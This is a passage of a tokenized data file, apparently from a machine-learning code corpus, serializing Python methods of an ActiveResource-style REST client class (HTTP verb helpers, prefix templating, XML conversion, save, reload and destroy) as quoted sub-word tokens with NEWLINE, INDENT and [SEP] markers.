" ", " ", "A", " ", "dictionar", "y", " ", "represent", "ing", " ", "the", " ", "return", "ed", " ", "data", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "cls_", "._", "\\u", "custom", "\\u", "method", "\\u", "collection", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "connection_", "._", "get_", "(_", "url_", ",_", "cls_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "class", "\\u", "post_", "(_", "cls_", ",_", "method", "\\u", "name_", ",_", "body_", "=_", "''_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "retrieve", ".", "\\", "10", ";", " ", " ", " ", " ", "body", ":", " ", "The", " ", "data", " ", "to", " ", "send", " ", "as", " ", "the", " ", "body", " ", "of", " ", "the", " ", "request", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "cls_", "._", "\\u", "custom", "\\u", "method", "\\u", "collection", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "connection_", "._", "post_", "(_", "url_", ",_", "cls_", "._", "headers_", ",_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "class", "\\u", "put_", "(_", "cls_", ",_", "method", "\\u", "name_", ",_", "body_", "=_", "''_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "update", ".", "\\", "10", ";", " ", " ", " ", " ", "body", ":", " ", "The", " ", "data", " ", "to", " ", "send", " ", "as", " ", "the", " ", "body", " ", "of", " ", "the", " ", "request", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "cls_", "._", "\\u", "custom", "\\u", "method", "\\u", "collection", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "connection_", "._", "put_", "(_", "url_", ",_", "cls_", "._", "headers_", ",_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "class", "\\u", "delete_", "(_", "cls_", ",_", "method", "\\u", "name_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Delete", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "delete", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "cls_", "._", "\\u", "custom", "\\u", "method", "\\u", "collection", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "connection_", "._", "delete_", "(_", "url_", ",_", "cls_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "class", "\\u", "head_", "(_", "cls_", ",_", "method", "\\u", "name_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Predicate", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", " ", "exist", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "predica", "te", " ", "exist", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "cls_", "._", "\\u", "custom", "\\u", "method", "\\u", "collection", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "connection_", "._", "head_", "(_", "url_", ",_", "cls_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "prefix", "\\u", "parameters_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "list", " ", "of", " ", "the", " ", "parameter", "s", " ", "used", " ", "in", " ", "the", " ", "site", " ", "prefix", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "e", ".", "g", ".", " ", "/", "object", "s", "/$", "object\\u", "id", " ", "wou", "ld", " ", "yield", " ", "['", "object\\u", "id", "']", "\\", "10", ";", " ", " ", " ", " ", " ", "/", "object", "s", "/$", "{", "object\\u", "id", "}/", "people", "/$", "person", "\\u", "id", "/", " ", "wou", "ld", " ", "yield", "\\", "10", ";", " ", " ", " ", " ", " ", "['", "object\\u", "id", "',", " ", "'", "person", "\\u", "id", "']", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "set", " ", "of", " ", "named", " ", "parameter", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "cls_", "._", "prefix", "\\u", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "Template_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "match_", "in_", "template_", "._", "pattern_", "._", "finditer_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "match", "\\u", "type_", "in_", "'", "brace", "d", "'_", ",_", "'", "named", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "match_", "._", "groupdict_", "(_", ")_", "[_", "match", "\\u", "type_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "keys_", "._", "add_", "(_", "match_", "._", "groupdict_", "(_", ")_", "[_", "match", "\\u", "type_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "keys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "prefix_", "(_", "cls_", ",_", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "prefix", " ", "for", " ", "this", " ", "object", " ", "type", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "options", ":", " ", "A", " ", "dictionar", "y", " ", "contain", "ing", " ", "addition", "al", " ", "prefix", "es", " ", "to", " ", "prepend", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "string", " ", "contain", "ing", " ", "the", " ", "path", " ", "to", " ", "this", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "options_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "re_", "._", "sub_", "(_", "'/", "$'_", ",_", "''_", ",_", "cls_", "._", "prefix", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "Template_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "=_", "cls_", "._", "\\u", "prefix", "\\u", "parameters_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "=_", "dict_", "(_", "[_", "(_", "k_", ",_", "options_", "._", "get_", "(_", "k_", ",_", "''_", ")_", ")_", "for_", "k_", "in_", "keys_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "safe", "\\u", "substitute_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "\\u", "dict_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "the", " ", "object", " ", "to", " ", "a", " ", "dictionar", "y", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "self_", "._", "attributes_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "value_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "value_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "i_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "\\u", "value_", "._", "append_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "\\u", "value_", "._", "append_", "(_", "i_", "._", "to", "\\u", "dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "[_", "key_", "]_", "=_", "new", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "Activ", "e", "Resource_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "key_", "]_", "=_", "value_", "._", "to", "\\u", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "\\u", "xml_", "(_", "self_", ",_", "root_", "=_", "None_", ",_", "header_", "=_", "True_", ",_", "pretty_", "=_", "False_", ",_", "dash", "eri", "ze_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "the", " ", "object", " ", "to", " ", "an", " ", "xml", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "root", ":", " ", "The", " ", "name", " ", "of", " ", "the", " ", "root", " ", "element", " ", "for", " ", "xml", " ", "output", ".", "\\", "10", ";", " ", " ", " ", " ", "header", ":", " ", "Whe", "ther", " ", "to", " ", "include", " ", "the", " ", "xml", " ", "header", ".", "\\", "10", ";", " ", " ", " ", " ", "pretty", ":", " ", "Whe", "ther", " ", "to", " ", "\"", "pretty", "-", "print", "\"", " ", "format", " ", "the", " ", "output", ".", "\\", "10", ";", " ", " ", " ", " ", "dash", "eri", "ze", ":", " ", "Whe", "ther", " ", "to", " ", "dash", "eri", "ze", " ", "the", " ", "xml", " ", "attribute", " ", "names", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "xml", " ", "string", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "root_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "self_", "._", "\\u", "singular", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "util_", "._", "to", "\\u", "xml_", "(_", "self_", "._", "to", "\\u", "dict_", "(_", ")_", ",_", "root_", "=_", "root_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "header_", "=_", "header_", ",_", "pretty_", "=_", "pretty_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dash", "eri", "ze_", "=_", "dash", "eri", "ze_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reload_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Connect", " ", "to", " ", "the", " ", "server", " ", "and", " ", "update", " ", "this", " ", "resource", "'", "s", " ", "attribute", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attributes_", "=_", "self_", "._", "klass_", "._", "connection_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "element", "\\u", "path_", "(_", "self_", "._", "id_", ",_", "self_", "._", "\\u", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "klass_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "update_", "(_", "attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Save", " ", "the", " ", "object", " ", "to", " ", "the", " ", "server", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", " ", "on", " ", "success", ",", " ", "Fal", "se", " ", "on", " ", "Reso", "urc", "e", "Inva", "lid", " ", "error", "s", " ", "(", "sets", " ", "the", " ", "error", "s", "\\", "10", ";", " ", " ", " ", " ", "attribute", " ", "if", " ", "an", " ", "<", "error", "s", ">", " ", "object", " ", "is", " ", "return", "ed", " ", "by", " ", "the", " ", "server", ").", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", ".", "Error", ":", " ", "On", " ", "any", " ", "communication", "s", " ", "problem", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "errors_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "klass_", "._", "connection_", "._", "put_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "element", "\\u", "path_", "(_", "self_", "._", "id_", ",_", "self_", "._", "\\u", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "klass_", "._", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "to", "\\u", "xml_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "klass_", "._", "connection_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "collection", "\\u", "path_", "(_", "self_", "._", "\\u", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "klass_", "._", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "to", "\\u", "xml_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "id_", "=_", "self_", "._", "\\u", "id", "\\u", "from", "\\u", "response_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "id_", "=_", "new", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "connection_", "._", "Reso", "urc", "e", "Invalid_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "errors_", "._", "from", "\\u", "xml_", "(_", "err_", "._", "response_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "self_", "._", "klass_", "._", "format_", "._", "decode_", "(_", "response_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "formats_", "._", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "update_", "(_", "attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "valid_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "Tru", "e", " ", "if", " ", "no", " ", "error", "s", " ", "have", " ", "bee", "n", " ", "set", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", " ", "if", " ", "no", " ", "error", "s", " ", "have", " ", "bee", "n", " ", "set", ",", " ", "Fal", "se", " ", "other", "wis", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "not_", "len_", "(_", "self_", "._", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "id", "\\u", "from", "\\u", "response_", "(_", "self_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Pul", "l", " ", "the", " ", "ID", " ", "out", " ", "of", " ", "a", " ", "response", " ", "from", " ", "a", " ", "create", " ", "POST", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "response", ":", " ", "A", " ", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", "An", " ", "id", " ", "string", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "r", "'\\\\", "/([", "^", "\\\\/", "]*", "?)", "(\\\\", ".\\\\", "w", "+)?", "$'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "get_", "(_", "'", "Locat", "ion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "get_", "(_", "'", "location", "'_", ",_", "''_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "int_", "(_", "match_", "._", "group_", "(_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "match_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "destroy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Delete", "s", " ", "the", " ", "resource", " ", "from", " ", "the", " ", "remote", " ", "service", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "klass_", "._", "connection_", "._", 